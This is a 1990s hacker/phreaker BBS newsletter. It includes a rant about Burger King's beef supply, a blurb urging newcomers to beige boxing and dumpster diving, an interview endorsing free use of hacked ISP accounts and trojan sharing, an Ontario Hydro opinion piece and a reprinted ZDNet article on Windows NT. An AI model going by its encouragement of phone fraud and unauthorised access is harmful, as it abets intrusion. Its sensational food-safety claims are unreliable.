+if it's improperly handled and stored at the wrong temperature. What happens
+if it's exposed to gamma rays for an extended duration? The workers are bound
+to make mistakes and errors always happen eventually.
+
+NBC and CNN interviewed farmers that supplied Hudson Foods with beef. They
+admitted on television that they feed their cattle chicken shit, sawdust,
+dead dogs, cats and wild animals (roadkill) that they find on the side of the
+road near their farms. Basically, their feed consists of *anything* except
+grain. Burger King has yet to disclose the name of their new meat supplier.
+I wonder why? Yet, they've started an advertising blitz for the "Big King"
+burger to divert the media attention away. It's business as usual for that
+fat cat corporation. As the saying goes, shit in and shit out. If you feed
+the cattle chicken shit, what do you think the burgers are going to contain?
+Their famous Whopper should really be called a Plopper. Haha. If you want to
+eat shit and die, have it your way right away at "Burger" King. The next time
+you're at Shit King... standing at the counter and ready to order...do yourself
+a big favour and think about this article. ;) As a consumer, you have to be
+responsible for your own health and protection. Don't believe, trust and rely
+on the government or any fat cat companies. They're greedy, corrupt and don't
+care how many people become sick and die from E. Coli etc.
+
+(C)opyright 1997 Written by Damage, INC.
+
+
+H/P INFORMATION AND {NEWS} -
+Motivational Neophyte Blurb...
+
+ So obviously you're reading this because you want something more out of
+the (519) BBS scene. Warez just don't do it for you. Play one game, you've
+played them all right?. Plus, you can't really put "I played a lot of pirated
+video games" on your resume now can you?.
+ My name is The Journalist. I have been BBS'ing for over 4 years. Not
+that long, but longer than most. I have watched the quality of users and
+BBS's deteriorate like a snowman on a sunny day. I'm not saying things are
+lame now. Far from it. There just seems to be a major lack of leaders.
+You know, people like me :) People who go out of their way to make BBS-Land
+a better place. Now, what I'm saying here is, things are gonna change
+around here. Not because I say so, but because *you* want them to. C'mon,
+can you say that you have experienced the thrill of beige boxing? The
+satisfaction of breaking a password? These things are still entirely
+possible. One comment I hear all too often is "... but all those text files
+are written for like 20 years ago." BULLSHIT! It's just a little harder
+because now you have to sift through the shit to get the good stuff. I'll
+tell you now, most boxes don't work, because The phone company got wise and
+made it harder to get free calls. But that doesn't mean shit. Go to a bell
+office, and do some trashing. You might find some interesting stuff,
+you might not. But it was fun right?
+ One point I want to get across is that the h/p scene has evolved.
+Not anymore is it just about getting an extender or hacking a system.
+It's about being on the frontier of the information age.
+Think about that.
+The *information* age. We are living one of the biggest revolutions of our
+time. The Internet? Think about what you imagine the internet will be
+in 10 years? Think about how in history class, one of the projects will be
+"the history of the internet" We are living it baby, and once you realize
+this, you understand the importance of preserving free speech, and
+condemning censorship. (all you internet-porn-kings! :))
+ The conclusion is this... Welcome to the future of H/P/A/C/V
+
+(c)1997 written by The Journalist 04/09/97
+
+It's 11 o'clock... Do you know where your hard drive is? ;) This is the
+local h/p news section. The state of the group ati (access to information)
+is now in question. The ati web page lasted mere weeks and is no longer up.
+The Crypt (ati's whq) wasn't online for the entire summer and ati_net was
+basically dead. Not only that, tck disappeared into the abyss and wasn't seen
+on any local h/p boards...until recently when he resurfaced. This commentary
+isn't meant to bash ati. I'm just reporting the news as it exists and stating
+the facts. The main point is that ati is inactive and hasn't released anything
+since May 1997. Is it the beginning and the end for ati? Will tck resurrect
+the group? I'm not going to draw any conclusions. We'll just have to wait and
+see what develops.
+
+
+{INTERVIEWS} AND INTERROGATIONS -
+A SPECIAL INTERVIEW WITH THE JOURNALIST:
+
+The following text is a recent interview that BLACKENED conducted on FoI with
+the newest member of Damage, INC.
+
+-B is BLACKENED
+-TJ is The Journalist
+
+Introduce yourself to the readers of the Damage, INC. Newsletter. -B
+
+If you don't know me already, I run a h/p support board in (519). I have
+been in the bbs scene for a long time, and many will know me as a creative
+and innovative thinker :) -TJ
+
+What made you become interested in the whole h/p scene? -B
+
+Hmm... that's a good question Blackened. I would have to say it started a
+few years back when I came across some txt files on The Digital Network. I
+had a 2400 at the time, and Text files were easy to get. I started reading
+about hacking, and more of the anarchy, (ripping off pop machines and the
+like :)) Basically it snowballed from there. I found other h/p boards in the
+area, and started calling LD to &TOTSE and other famous sites. The rest as
+they say is history. -TJ
+
+;) After that, why did you decide to start FoI and run your own board? -B
+
+Well I think a small history is needed here, because I decided to run a board
+pretty soon after I started bbs'ing. I started as a PD board. And
+progressed to Warez (under the bbs ICE COLD :)) When I realized how pointless
+warez were, I decided to convert over to h/p, which has been one of the best
+decisions I ever made. h/p has always had a small following, and I guess I
+hoped that running FoI would attract otherwise warez geeks to a more
+fulfilling interest. -TJ
+
+How long has FoI been online and supporting h/p now? -B
+
+I would have to say about 18 months give or take 5 years :) hehe no,
+probably 18 months to 2 years. -TJ
+
+That's cool. Would you describe FoI as being more h/p related or general
+information and ideas? -B
+
+umm.. let me think about that one. For those who have bravely ventured thru
+the file bases of FoI, I'm sure you'll note the diversity of files online.
+I like to have h/p as the focus, but let's face it, sometimes you just want
+to read about something other than hacking UNIX or such. FoI is based on
+Information - regardless of topic. -TJ
+
+For those that haven't called FoI that might be reading this newsletter, what
+reason would you give for them to call your board? -B
+
+hehee :) a sales ad eh? No, FoI is different. If you are sick of warez, or
+sick of certain people in the warez scene, you should call FoI. If you are
+haunted by the corruption in our current political system, you should call
+FoI. If you like the idea of taking advantage of the big corporations (Bell,
+etc) you should call FoI. There is something for everyone at FoI. Except
+maybe the pups. -TJ
+
+Now that you've discussed FoI a little and described it to our readers, I'd
+like to ask you what difference you think being a Damage, INC. Member and FoI
+being the new Damage, INC. Dist. Site will make (to yourself, FoI and 519)? -B
+
+I expect Damage, INC. will boost user interest in FoI. For myself, Damage,
+INC. represents an organization where the member's interests are the same as
+my own. It is very rewarding. I know I will learn new things by being a
+part of Damage, INC. And I know for a fact that an FoI/Damage, INC.
+Combination will have a strong, positive effect on the diminishing (519)
+scene. -TJ
+
+How do you think the Damage, INC. Newsletter and interviews such as this one
+will affect the local h/p scene? -B
+
+By providing local, up-to-date information and support, the Damage, INC.
+Newsletter will open a lot of users eyes to a more intelligent way of
+bbs'ing. We constantly refer to this as a "revolution", and I
+whole-heartedly believe the Damage, INC. Newsletter can continue to provide
+unbiased, useful information, thus resulting in a more enlightened h/p scene
+with much more activity. -TJ
+
+Do you know of any other local h/p groups? -B
+
+Not as of yet, but I expect to see many "wannabees" pop up trying to imitate
+us. Damage, INC. and FoI are the foundation of the h/p scene in (519),
+simply because of our long standing presence in the community. We demand
+respect, we get respect, because of a stability not found in most other
+groups. (Commenting on the recent Sike dismemberment, and other groups which
+could not make it). All the power to any other h/p groups that start, and
+I myself will fully support any groups, but only if they appear solid, and
+interested. -TJ
+
+That's an excellent answer. Now to a more personal question. Have you ever
+been idolized and "worshipped" by any local users that are new to the h/p
+scene? If so, is it something that you dislike? -B
+
+hehehe, well which hacker hasn't been idolized by Blade Runner but that's
+not a bash. In the past many inexperienced users have been at awe over my
+knowledge of h/p and related topics, and I tend not to really care if they go
+overboard a little :) This is such a new, changing way of bbs'ing that I
+like to help people where I can. -TJ
+
+Haha. ;) I've had my own experiences with Blade Runner. Anyways, you've
+done so much to spread information and educate the users that call FoI, but
+is it ever tiresome to be asked lame questions such as "How do I build a
+beige box?" or "How do I hack....whatever?" by users? In essence, I want to
+know if it becomes annoying to be asked questions about information that's
+already online and available on FoI. -B
+
+Exactly, Blackened. Honestly? It's insulting. I go through all the time and
+effort to get files online, make sure all files have descriptions, so when a
+newbie asks me such a question I usually have 4 letters for him - RTFM -TJ
+
+There's been so much debate recently about bbsing, the internet etc. as it
+relates to the overall h/p scene. Do you think there's anything wrong with
+quality h/p web sites? Or, do you believe that the h/p scene should remain
+on a smaller scale... with boards and users that "know each other"? -B
+
+That is a monumental question, and I'm sure you don't want me to type pages
+of my opinion :)... hehe, I have thought a lot about the internet's effect on
+the bbs scene, and I'm saddened to watch something I've grown to love slowly
+diminish into the shadows of the Internet. I came to the realization
+recently though, that this is simply because we're letting it rot away. Its
+time to take back the streets. Well, bad terminology, but i have nothing
+against the Internet, in fact many of the files on FoI come from the Net.
+Its a great source of information, but it can never compare to the intimacy
+of a well-run bulletin board system. -TJ
+
+I completely agree with that. The internet is good for distribution, but
+doesn't have the same feeling as boards. On the other hand, I think it's
+good for distribution purposes. So, do you think Damage, INC. should setup
+it's own web site in the future for world wide distribution? (at the same
+time continue to support boards such as FoI). -B
+
+Absolutely. We will have the best of both worlds. -TJ
+
+Now that we've discussed the internet etc. what future plans do you have in
+store for FoI? How do you think boards will change in the next 5 years? ;)
+-B
+
+ahh, that is a very interesting question that I have not given that much
+thought to. I think we will see a merge of the bbs scene and the internet
+in the 21st century. Each medium complements each-other, and I like to use
+this analogy - the bbs scene is like a small village. The internet is NY
+City. The two places are worlds apart, but must somehow live together in
+harmony. To accomplish this, some laws are set by the "big guy", and others
+are allowed to be defined by each individual community/village. If you
+understand what I'm saying, then good, but if not, then that's understandable
+because that was kinda cryptic :) -TJ
+
+I do, but I can't speak for the readers. It's nearing the end of 1997, do
+you think the future of h/p is a bright or dismal one? Also, do you have
+faith in the new people entering the h/p scene? Is there any hope that
+they'll learn and help to evolve and progress h/p? -B
+
+They say there's no such thing as a problem child, its a "problem-parent."
+Its up to you, me, and the person reading this right now to make sure we
+teach our own h/p values, and ways of thinking to the younger generation.
+That means, the future of h/p rests on our shoulder's right now. If Damage,
+INC. and FoI went down right now, the h/p scene would die. Its the truth.
+But I look on the bbs's I'm on, and *most* do have an earnest H/P/A/C/T/V
+section. This pleases me, so I think yes, there is hope. The next
+generation of h/p'ers are going to be entering the dawn of a millennium. I'm
+sure they'll know what to do. -TJ
+
+On the same note, do you agree with warez boards trying to be wannabe h/p
+boards? As in, most of their file areas are filled with warez... while they
+also try to support h/p by having a single file area? -B
+
+Pirated software originated with the same intentions as h/p. Hackers who
+were broke exchanging useful software to continue their search for the truth.
+Now it seems that has been forgotten, and the 0-2 day warez race is
+dominating the warez culture. Warez culture has gone to shit, and I want
+h/p to have nothing to do with it. -TJ
+
+I agree with that. Here's another interesting question... How do you feel
+about newsletters and magazines that charge money for a subscription? As you
+already know, the Damage, INC. Newsletter is totally free. Personally,
+that's something that I believe in strongly. The spread of h/p information
+shouldn't cost the users that want to learn. Do you agree or disagree with
+that statement? -B
+
+The best things in life are free - that's all I have to say. -TJ
+
+Would you ever pay to call a h/p board? -B
+
+Not if I can get the exact same thing for free somewhere else. No I would
+not pay for a h/p board. -TJ
+
+Okay, now that we've discussed the "pay for access" aspect of h/p boards etc.
+I'd like to ask you a question about ethics. If you had the knowledge to
+hack "fictional software", and a user offered to pay you to hack a board
+running under that software... would you become a hacker for hire? ;) -B
+
+Wow!, that's a doozy of a question :) I hope I can say that I would not
+"sell-out" but people do desperate things in desperate times. How much
+money are we talking about, and what kind of hack does he want? -TJ
+
+Let's say $50 as an example, and the user/customer wants you to hack the
+system and provide him with the userfile and any passwords necessary to allow
+them to logon under Sysop access. -B
+
+Hmmm... I would promptly tell him to Fuck off. -TJ
+
+;) That's a good answer, and I applaud you for having the proper ethics. I
+won't mention any names, but this area is famous for "phreaks" that try to
+sell extenders, pbxs, other codes. -B
+
+Can I mention a name? :) -TJ
+
+That's your choice... -B
+
+hehe... Well its interesting because I once paid this same guy $20 for a
+voicemail box 1800 system a few years back. So that kinda contradicts my
+answer previously on paying for stuff, but lets just say LL is the most I'll
+give out. -TJ
+
+Okay, that's fair enough. Do you think it's right for people to be selling
+codes, internet accounts etc. in order to make profit from the h/p scene (and
+take advantage of naive users that are new to the scene)? -B
+
+No comment. -TJ
+
+Okay... Do you think Damage, INC. should ever sell information such as codes,
+accounts etc.? -B
+
+No. As long as I am part of that organization, I would not feel comfortable
+selling pwords, codes etc. I *honestly* must say though, I know its hard to
+turn down $20 or $50 when its handed to you like that, and I don't want to
+seem like some "perfect" h/p'er because that would be more damaging, than to
+admit I am human, and sometimes make mistakes. -TJ
+
+Yes, we're all flawed. Personally, I've been offered money ($50 and more),
+but always turned it down in order to maintain my own credibility. ;) The
+main reason I asked though, was because I believe if you sell codes and other
+information... then you aren't teaching the person anything. That is, other
+than they can just "buy anything" they want instead of experimenting and
+learning by reading etc. I don't know of any perfect h/p'er, but I think
+that our motives are honest and noble. What benefit do you think the Damage,
+INC. Newsletter will have to this area after it's been in publication for a
+few years? -B
+
+Just to say, you just pinned the tail on the donkey man. Look at the bible,
+(and although I don't believe in Christianity, I *do* believe Jesus existed).
+"Give a man a fish, feed him for a day, *Teach* a man how to fish, feed him
+for a lifetime." -TJ
+
+Yes, that's exactly what I was trying to express. ;) -B
+
+And to comment on your second question; I have no doubt, those who become
+dedicated readers of the Damage, INC. Newsletter will feel a fullness enter
+into their lives, never experienced before. I feel it is important to stress
+that while Damage, INC. does focus attention on Hacking & Phreaking; It also
+takes a look at society from a whole new perspective, which is beneficial to
+anyone who sees that way as a result of reading our articles. -TJ
+
+Do you think it's a good idea for this newsletter to include articles that
+were written by people that aren't associated with Damage, INC. (as long as
+they are given full credit)? -B
+
+Umm, that would depend on the situation really. At work I clipped out a
+newspaper article from "The SUN" which looked at Di's death from a
+"conspiracy" point of view. It totally enlightened me to the fact that any
+situation always has two or more sides, and to be objective, you have to try
+and see things from that "other" perspective ;) -TJ
+
+Good point. I want to change the topic to trojans now. How do you feel about
+the debug script for NWO being included in this issue? -B
+
+I think it is a provocative move, and will certainly stir up the bbs scene
+with a big plastic spoon. The outcome of releasing it can only be left up to
+my imagination, but attention is a positive thing right now, and I see no
+harm in including it. -TJ
+
+Haha (if it stirs things up, that's cool with me). Do you think it's a good
+idea to include source and scripts for viruses, trojans and utilities in the
+future issues? -B
+
+Only to teach readers something new so that they can one day make their own
+viruses/virii :) I know from personal experience that looking at someone
+else's code accelerates the learning process greatly. Especially if that code
+is explained, line by line. -TJ
+
+Yes, whatever source code we include should *always* be used as a learning
+tool by our readers. There's been debate for years about hacking for
+information/hacking and doing damage. What's your opinion? This is the
+final question. I hope you've enjoyed doing this interview. If you have any
+other comments to make, feel free to write them. ;) -B
+
+:) Okay. Well to answer your initial question; and this is also a note to
+interested readers, I learnt a lot of information for books such as hmmm bad
+memory, Hacker Crackdown was one, and other various text files on Hackers
+such as Phiber Optik, The Fry Guy (a very controversial case that one) and
+Captain Crunch. There was a certain code of ethics that was very plain and
+simple, but has been cast aside today. It is this : hacking is to learn
+only. Hacking a system is to gain some new knowledge about the o/s or
+computer. If a hacker modifies or deletes files in any way, they cross a
+boundary in which Hacking becomes unethical. This is why hacking has gotten
+such a bad name, because it causes damage. -TJ
+
+In your opinion though, is it okay to hack an ISP, borrow accounts, use the
+internet for free? (without doing any damage to any systems)? -B
+
+Yes, what about you? -TJ
+
+Yes, I think that's fine... since it should be free. ;) Any other comments?
+- B
+
+nope -TJ
+
+Okay. Thanks for sharing your thoughts and agreeing to do this interview.
+It's the first of many that'll be included in the Damage, INC. Newsletter.
+Hopefully, the readers have benefitted by reading this interview... and will
+consider what was said here. -B
+
+That is all I hope too Blackened. I want to make it clear that my purpose is
+to be service to neophyte h/p'ers who are genuinely interested to learn. I
+will do my best to help anyone who asks my advice. This also includes FoI
+Archives at 519-846-8598. Thanks Blackened, this has been fun :) -TJ
+
+Thanks again The Journalist. And to our readers, just remember that you could
+also be featured in one of my interviews in the future. ;) -B
+
+
+OBJECTIVE {OPINIONS} -
+ONTARIO HYDRO...A MELTDOWN WAITING TO HAPPEN:
+
+The calamity at Ontario Hydro should have received more media attention than
+it did. The general media did not cover the consequences of Hydro's
+deteriorating nuclear reactors. That is what premier Mike Harris and the
+fat cat executives at Ontario Hydro counted on. This newsletter is the
+perfect forum to look into this issue further. Be sure to read the following
+facts and objective opinions, and then formulate your own. Being an informed
+person will help you to see through the government's lies and coverups.
+
+After intense public pressure, and a scathing 60-page study by the Atomic
+Energy Control Board, Ontario Hydro's gross inefficiency has been fully
+exposed. Hydro's president and CEO, Allan Kupcis couldn't resign fast enough
+after it was announced that seven of Ontario's 19 operating nuclear reactors
+will supposedly be shut down.
+
+Carl Andognini, leader of the seven member team that wrote the report
+concluded that many of Hydro's problems were rooted with people rather than
+nuclear technology. In Andognini's words, Hydro's management acted like a
+"feudal fiefdom without professional standards, managerial expertise or, above
+all, accountability." In my words, Hydro's management acted like all the
+other government-controlled monopolies. Hydro has a reported $17.6 billion
+invested in their plants. All they have to show for it are worn-out reactors
+that have been leaking various chemicals (most recently deuterium oxide) for
+nearly two decades. Andognini also reports that Hydro has "minimally
+acceptable" or "below industry standards" when it comes to normal
+operations or being prepared for an emergency, such as a meltdown.
+
+Rocked by being exposed by the truth, officials are desperately trying to
+keep the big fat boat afloat. Hydro has convinced Andognini to join them.
+He claims he will start initiating the recommendations in his report.
+Andogini has promised to remain for 3« years. He is optimistic that he can
+turn the nuclear division around. Three coal and oil-fired generating plants
+have been reactivated. They will make up for the power loss that will be
+caused by the dormant reactors.
+
+During its years as a government-controlled monopoly, Hydro has accrued a
+huge debt. The Ontario government has guaranteed $24 billion of Hydro's
+debt. Upgrade costs for an additional 12 reactors will cost Ontario
+taypayers an estimated $3.6 billion now, and $5.8 billion over the next
+four years. Of course costs will mostly likely be much more, since those
+estimates come from the Ontario government. One additional cost that Hydro
+didn't include is the cost of shutting down seven reactors (four at the
+Pickering plant, three at the Bruce plant) over the span of a 30 year period.
+Plus the closed plants will have to be staffed to monitor radiation levels.
+
+The fate of Ontario Hydro is still unfolding. Ontario premier Mike Harris
+has been sitting on his hands, unwilling to give up the government's
+communist-like believe that they need to control the hydroelectric power
+industry. Andognini responds to the question of deregulation by predicting
+Hydro will be ready for an "open market" in 2 years. However, competition
+and deregulation are words that are foreign in this red province.
+
+Ontario Hydro's actions should be of great concern. Due to gross
+mismanagement, Hydro's nuclear reactors have not been properly maintained
+and are operating past their prime. Chemical leaks have been occurring on a
+consistent basis for 20 years, although many have been covered up until
+now. It is not unreasonable to agree with Andognini's finding that Hydro
+is at best minimally prepared for a huge disaster. Therefore, we have old,
+poorly maintained reactors and staff that are not prepared. In my opinion,
+that leads me to believe that there is a realistic chance of meltdown at any
+of the nuclear reactors.
+
+The Ontario Hydro monopoly must end. It has proven to be a total failure.
+They have lost all of their credibility and should not be trusted. Hydro is
+a tremendous drain on taxpayers and a disaster waiting to happen. A disaster
+that could make Chernobyl look like a little bit of acid rain. The only
+sensible course of action is for Hydro to get out of the power business. The
+entire industry should be deregulated and opened up to competition. In the
+United States, the power industry has been deregulated in some states since
+1992. Since then five nuclear power plants have been shut down because they
+were fiscally unreasonable. More economical ways were found to provide those
+areas with power.
+
+Unfortunately it is business as usual at Ontario's disgraced power
+monopoly. Now Ontario Hydro is talking about "shutting down the reactors
+at the end of their lifespan." As the nuclear reactors continue to deteriorate,
+Harris can't let go of any power. He is hellbent on becoming the dictator of
+Ontario, and controlling the only source of power in Ontario gives *him* power. And
+Ontario Hydro's executives (new and old) are in a mode of panic, doing
+anything they can to maintain their monopoly. With no competitors
+(predators) they can continue to operate under the status quo. The scandal
+will be forgotten by most of the media and public until Hydro faces another
+self induced disaster. We can only hope that the next one doesn't cost us all
+our lives. CANDU can meltdown.
+
+(C)opyright 1997 Written by Damage, INC.
+
+
+{REPORTS} FROM THE FRONT -
+WINDOWS NT LIES By ED BOTT Garnered from ZDNet
+
+What is it about the computer industry that compels people to stretch the
+truth past the breaking point? Every week we dig through a pile of press
+releases, news clippings, white papers, and reviewer's guides, most of them
+filled with rumors, half-truths, exaggerations, false conclusions, tap
+dancing, and spin that's gone completely out of control. Not to mention
+outright whoppers.
+
+This year, for the third straight year, we've gathered a collection of the ten
+most popular lies about the trendiest technology. In 1995 it was no trouble
+to round up ten lies about Windows 95. Last year we focused on the Internet.
+
+LIST OF LIES
+Runs-anywhere
+Secure
+Military Standards
+Crash-proof
+Server Value
+Notebooks
+Replace Win95
+Zero Administration
+Death by NC
+
+This year we set our sights on Microsoft Windows NT. Why NT? After Microsoft
+tacked the Windows 95 shell onto NT, it was suddenly the hottest software
+around, and when you're hot, people talk. But the trouble with NT is its
+enormous complexity, which makes it hard to craft a simple marketing message.
+That means Microsoft occasionally oversimplifies issues and smooths over the
+rough edges in NT. And Microsoft bashers can have a field day using technical
+trivia to reach unwarranted conclusions.
+Just once, we'd like to read a press release that didn't sound like an outtake
+from Jim Carrey's Liar Liar. Somehow we don't think that's going to happen
+anytime soon, though. Want to know what's really going on with Windows NT?
+We've got the truth, the whole truth, and nothing but the truth.
+By ED BOTT
+
+Illustrations by REGAN HONDA
+Lie 1
+
+NT Works with Most PCs
+
+What's made DOS and Windows so successful? Arguably, it's their run- anywhere
+nature. Take a shopping cart full of spare PC parts, slap 'em into a case, and
+you'll be able to boot up Windows 95. But try the same experiment with NT, and
+you'll probably find yourself staring at the dreaded Blue Screen of Death.
+Microsoft claims that "Windows 95 supports one-third more device drivers than
+does Windows NT Workstation (approximately 1,000 more drivers). . . However,
+certain types of devices, such as video, audio, and PCMCIA are areas where
+Windows NT Workstation support falls short of Windows 95." Right conclusion,
+wrong numbers. In the interest of science, we pulled down the Windows 95 and
+NT 4.0 Hardware Compatibility Lists (HCL) and started counting.
+There are nearly 1,500 more entries on the Windows 95 HCL than on its NT 4.0
+counterpart. Surprisingly, there are 397 more printers and 565 more analog
+modems on NT's HCL, leading one to suspect that those categories on the
+Windows 95 HCL haven't been updated recently. One in three x86 systems that
+work with Windows 95 sputters and dies when faced with NT. If you've got an
+older audio adapter or network card, you'll probably need to replace it before
+you upgrade your operating system. NT experts won't even think of purchasing
+hardware without checking the HCL. Now you know why.
+
+
+Lie 2
+
+NT Is Less Secure Than Unix
+
+Judging by the flurry of headlines in the first half of 1997, the most popular
+sport on college campuses is hacking Microsoft software. This year's most
+serious NT security scare first popped up on newsgroups in March with the
+release of PWDump and NTCrack, a pair of homegrown utilities that let system
+administrators attack the encrypted password file on an NT machine in search
+of weak passwords. The story spread to the mainstream press at Internet speed
+after Electronic Engineering Times published a front-page story with the
+screaming headline "'Hack' punches hole in NT nets' security." The conclusion?
+System administrators should avoid NT in favor of the inherently safer Unix
+operating system.
+
+The EE Times story was riddled with technical errors, and it completely
+missed the point. Both Unix and NT have ample security features, including
+industrial-strength logon routines and well-protected file systems. Any idiot
+can configure any server--Unix or NT--so that its built-in security is
+compromised. The new utilities are simply NT versions of well-known Unix
+programs that sniff out insecure passwords by comparing them with entries in a
+dictionary. For a hacker to take advantage of NTCrack, he or she would first
+have to log on as a member of the Administrators group. And once an evildoer
+penetrates the network, there are far more interesting things to do than
+decode passwords.
+
+
+Lie 3
+
+Upgrading from Win95 Is Easy
+
+The single most compelling new feature in NT 4.0 is the Windows 95 shell. So
+there's an easy upgrade path from Windows 95 to NT 4.0, right? Wrong. In fact,
+while upgrading to NT 4.0 from any older version of Windows or DOS is
+painless, installing NT over Windows 95 is impossible.
+Blame it on fundamental incompatibilities in the system registries for Windows
+95 and NT. While you're at it, sprinkle a heaping helping of responsibility on
+Windows 95's anything-goes support for oddball hardware and virtual device
+drivers (VxDs). Because NT has no way to detect installed devices, doesn't
+recognize VxDs, uses incompatible hardware drivers, and may not recognize the
+file system in use, Microsoft wisely chose to not even try migrating the
+Windows 95 registry to Windows NT.
+If you're planning to move from Windows 95 to NT 4.0, here's what you have to
+do: First, check your system inventory against the official Microsoft NT
+Hardware Compatibility List (at www. microsoft. com/ hwtest), and make sure
+your main hard drive is formatted using the FAT file system. Next, install
+Windows NT into its own directory and reinstall every application as well.
+Even if you're exceptionally well organized, the upgrade will probably take
+several days from start to finish.
+Microsoft's Migration Market Bulletin sheepishly acknowledges the problem and
+offers this bold-faced promise: "Microsoft is completely committed to fixing
+this issue in the next major release of Windows NT Workstation." Now all they
+have to do is figure out how.
+
+
+Lie 4
+
+NT Meets Military Standards
+
+Windows NT has earned a C2 rating from the U.S. National Security Agency
+(NSA), the spookiest of all the shadowy spy shops surrounding Washington, DC.
+That's an impressive accomplishment, but only if you look at how much red tape
+Microsoft had to go through to get there. In practical terms, the C2 rating is
+underwhelming at best. Here's why.
+As Microsoft freely admits, no operating system is ever C2-certified. Instead,
+the spymasters bestow C2 certification on a specific installation, and the
+computer's operating system is only one small piece of that puzzle. If you
+plan to install a C2-compliant system, don't expect to connect with the rest
+of the world, either-- Microsoft chose to submit NT 3.5 for C2 approval (NT
+4.0 hasn't been tested yet) using the NSA's "Orange Book" testing procedures
+instead of the more stringent "Red Book." That saved time, but it means that
+NT is certifiably secure only without any network connections. Would you
+install a copy of NT Server without connecting it to another computer? Of
+course not. But as soon as you do, you lose the C2 rating.
+Gee, maybe Microsoft should have applied for the Catch-22 rating instead. . .
+
+
+Lie 5
+
+NT is Robust and Crash-proof
+
+Everything's relative, especially when the topic turns to the stability of
+Windows. Is NT robust? Compared with Windows 95, it's as solid as Gibraltar. A
+buggy application locks up Windows 95 so tight only the power switch can undo
+the damage. Run the same ill-behaving app under NT, and the app itself
+vanishes in a puff of virtual smoke--leaving the rest of the system running
+without so much as a hiccup.
+Unfortunately, robust doesn't mean crash-proof. True, you reboot less often,
+but NT has a long way to go before it consistently achieves the uptime that
+Unix users take for granted. A buggy driver or a memory conflict in NT's
+internals typically results in STOP errors, also known as the Blue Screen of
+Death, a fatal listing of hexadecimal memory addresses and module names in
+bright white letters on a blue background. Even more insidious are memory
+leaks, which slowly drain resources from the operating system until
+performance becomes so sluggish that rebooting is the only alternative.
+Unfortunately, the Blue Screen of Death isn't rare. Microsoft has created a
+special Web-based troubleshooter to help you decode the top 15 STOP error
+messages. Most depressing of all, these crashes are so common that they've
+earned the ultimate in backhanded compliments--their own widely used acronym,
+BSOD.
+
+WINDOWS NT LIES By ED BOTT Garnered from ZDNet
+
+Pt. 2:
+
+Lie 6
+
+NT Server Is Worth More
+
+One box is white, the other is blue. That's not the only distinction between
+NT Server (NTS) and NT Workstation (NTW), but you'll need to look at the code
+under a powerful microscope to find more substantial differences. NT has only
+one kernel, you see, and that core code is absolutely identical, no matter
+which version you install.
+Microsoft argues that NTS uses that kernel differently; according to
+Microsoft, the installation process for NTS makes as many as 700 subtle
+changes to entries in the NT registry, including memory- management settings
+and other configuration options. There's also a bundle of utilities and system
+service software in the NTS box that you won't find if you buy the
+lower-priced NTW package. But the biggest difference is monetary, not
+technical. At current street prices, you pay $450 extra--about a 150 percent
+premium--to install NTS instead of NTW. If you plan to run a Web server at
+your site, you're caught between a rock and a hard place: Even though
+third-party Web servers run just fine on NTW, Microsoft's license agreement
+won't let you legally run any server software if more than ten users will
+access the site simultaneously. The NTS license, on the other hand, allows
+unlimited connections to your Web server over the Internet; it also includes
+Microsoft's Internet Information Server 3.0, which eliminates the need for
+that third-party Web-server software.
+There's no technical barrier to stop you from simply ignoring the license
+agreement and running O'Reilly's WebSite or Netscape's FastTrack Server. Of
+course, you would be violating the Microsoft license agreement, and a
+disgruntled employee could turn you in to the Business Software Alliance, with
+consequences including stiff fines and public humiliation. But hey--it's your
+business.
+
+
+Lie 7
+
+NT Works Great on a Notebook
+
+If you've grown accustomed to Windows 95's world-class support for portable
+PCs, your blood pressure will soar an hour into your first cross-country
+flight with an NT notebook.
+Windows 95 can dim the screen, shut down the hard drive, and turn off PC Card
+devices to squeeze extra life out of a battery. NT doesn't do power
+management, period--all systems run at full tilt until they can't run anymore.
+Windows 95 lets you swap PC Cards on the fly. NT has surprisingly good PC Card
+drivers, but you have to restart the system each time you add a new device if
+you expect the operating system to recognize it.
+Thanks to Windows 95's Plug and Play, you can slip a notebook out of its
+docking station, carry it down the hall to a meeting, and begin taking notes
+without missing a beat. NT forces you to reboot and choose a new hardware
+profile each time you change working environments.
+Microsoft promises NT 5.0 will be a better traveler. We'll see. Meanwhile, if
+you need to run NT on the road, ask IBM or Digital Equipment to show you the
+custom code they've written to handle power management and simulate Plug and
+Play. And be sure to stock up on extra batteries.
+
+
+Lie 8
+
+NT Will Kill Windows 95
+
+What do you get when you cross a conspiracy theorist with a technology
+analyst? Add a dash of paranoia to your basic business- school model, and it's
+easy to see patterns where none exist. Take Windows 95 and NT. When Windows
+95 debuted, some analysts theorized that it was simply a placeholder that
+would quietly disappear when Windows NT 4.0, Microsoft's real strategic
+product, appeared. If that's true, then Windows 95 has been the most
+successful disposable consumer product ever introduced.
+
+Windows 95 and Windows NT have completely different target markets. The former
+is aimed directly at home users, for whom fun and games are a higher priority
+than productivity. Windows NT, on the other hand, requires a secure logon and
+refuses to acknowledge the existence of many games, which makes it a model
+citizen in the corporate world.
+Someday Windows 95 and NT will share a common code base. Just this year
+Microsoft product planners hinted that the merged kernel will be ready in
+1999. Of course, those same sources predicted that Windows 4.0 would be on
+store shelves in mid-1994. Come back in 2001 and we'll tell you all about the
+latest updates to Windows 95 and Windows NT.
+
+
+Lie 9
+
+Zero Administration Is Here
+
+Bill Gates has built an entire industry around mainframe-killing,
+terminal-replacing, do-it-all-on-the-desktop, industry-standard PCs. So
+longtime Windows watchers savored the irony when Microsoft announced its Zero
+Administration Windows initiative. The idea behind ZAW is simple: Rein in
+those maverick desktop PCs and put them back in the firm grip of network
+administrators, with preconfigured, locked-down systems.
+That's a convenient way to keep support personnel from having to rescue poor
+dumb users, but it's hard to imagine those users willingly surrendering their
+desktop PCs. Besides, it doesn't even begin to address the real burdens of PC
+ownership, which still requires hours of upfront administrative effort before
+a user can get to work.
+Zero Administration Windows? Is Microsoft kidding? Maybe it is. One press
+release from Microsoft makes this telling admission: "In effect, 'Zero
+Administration' means zero administration for users." Administrators still
+have to install Windows and approved applications on each user's PC, but they
+won't have to clean up after those darned users. What will network managers do
+Quake.
+
+
+Lie 10
+
+Network PCs Will Kill NT
+
+If the computer industry didn't exist, high-tech honchos like Sun
+Microsystems' Scott McNealy, Oracle's Larry Ellison, and Microsoft's Bill
+Gates would probably have become pro wrestlers. They've certainly mastered the
+art of bluster, and the typical product demo, like a World Wrestling
+Federation pay-per-view extravaganza, bears only the most casual relation to
+reality.
+Take the tag-team match that has pitted the Oracle Network Computer and the
+Sun JavaStation against the Microsoft/Intel NetPC. Sun, which owns the Java
